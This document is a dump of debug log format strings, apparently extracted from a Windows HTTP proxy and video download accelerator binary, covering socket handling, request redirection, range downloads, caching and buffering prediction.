[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d

[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo

[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld

[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).

HttpProxyRemote::WriteCachedBufferToSocket

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.

HttpProxyRemote::ConnectToDomain

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !

[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d

[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d

[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader

HttpProxyRemote::UpdateRequest

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.

[HttpProxyRemote::ReStartCurrentJob]

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !

[HttpProxyRemote::UpdateParameters] ___Error invalid job or request

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)

HttpProxyRemote::StartJob

[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d

[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d

[RequestInfo::SetPassThrough] Req:%d - ON

[RequestInfo] Req:%d

[~RequestInfo] Req:%d

https:

%s=%s%s%s

[HttpCookieJar::GetCookie] Removing cookie: %s

[HttpCookieJar::SetCookies] Removing cookie: %s

[NetworkEventsSink::RefreshSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::ClearSocketMessages] Messages: %d

[NetworkEventsSink::Find] socket %d - was found.

[NetworkEventsSink::Find] socket %d

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d

[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d

[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d

[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.

UNSUPPORTED_EVENT

[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.

[NetworkEventsSink::Work] The class %s was register.

[NetworkEventsSink::Work] ___Error register the class %s. LE: %d

[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.

[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.

[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink

[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.

[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.

[NetworkEventsSink::AddSocket] socket %d - Added events sink.

[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.

[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink

[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.

[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d

[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s

[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s

[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s

[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d

[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s

[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::FindCacheData] Url: %s

Cookie: %s

[CHttpCacheManager::DestroyCacheData] Url: %s

[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s

[CHttpCacheManager::StopAllCaching]

[CHttpCacheManager::Work] ...Leave

[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d

[CHttpCacheManager::Work] Enter...

[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d

[AsyncSocket::Read] socket %d, Read: %d, Total: %lld

[AsyncSocket::Read] ___Warning - socket %d can't read from yet.

[AsyncSocket::Read] ___Error reading from socket %d. LE: %d

[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)

[AsyncSocket::Write] ___Error - socket %d. LE: %d.

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.

[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...

[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).

[AsyncSocket::Write] ___Error - socket %d invalid.

[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u

%u.%u.%u.%u

[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u

[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d

[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X

[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p

[AsyncSocket::GetOverlappedResult] socket %d

[AsyncSocket] socket %d

[AsyncSocket::Initialize] socket %d was initialized.

[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.

[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d

[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d

[AsyncSocket::UnInitialize] socket %d

[AsyncSocket::Close] socket %d, do nothing

[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection

[AsyncSocket::Close] socket %d

[~AsyncSocket] socket %d

[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d

[AsyncSocket::Bind] new socket %d - %s : %d

[AsyncSocket::Bind] socket %d - %s : %d

[AsyncSocket::Connect] socket %d - connected !

[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d

[AsyncSocket::Connect] ___Error socket %d, LE: %d

[AsyncSocket::Connect] socket %d - Already connected !

[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u

[AsyncSocket::Connect] socket %d - IP: %s, Port: %u

[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)

[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)

[CProxyServerPassThrough] FDM=%d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d

[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.

[SubjectDataProperty::Serialize] ___Error not supported yet

[SubjectDataProperty::Deserialize] ___Error not supported yet

m_PropertyValue.pszValue

m_PropertyValue.pValue

[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p

[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p

[CacheManager::Pause] FDM=%d

[CacheManager::Resume] FDM=%d

[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)

[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld

[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)

[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...

[CacheManager::StopCacheData] FDM=%d

[CacheManager::Stop] FDM=%d

[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!

[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld

[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty

[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld

[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***

[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)

[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d

[CacheManager::RemoveAllWorkers] FDM=%d

[~CacheManager - %p] FDM=%d

[CacheManager::Reset] FDM=%d

[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p

[JobsManager::MergeFailedJobs] Job:%d  = Job:%d

[JobsManager::CreateJob] Job:%d, %lld-%lld

[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist

[JobsManager::CreateTimeJob] Job:%d, %lld-0

[JobsManager::DestroyJob] Job:%d

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION

[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)

[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)

[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.

[AccelerationLogicHD::IsPartner] Partner = %d

[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d

[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld

[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d

[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges

[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d

[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d

[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld

[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d

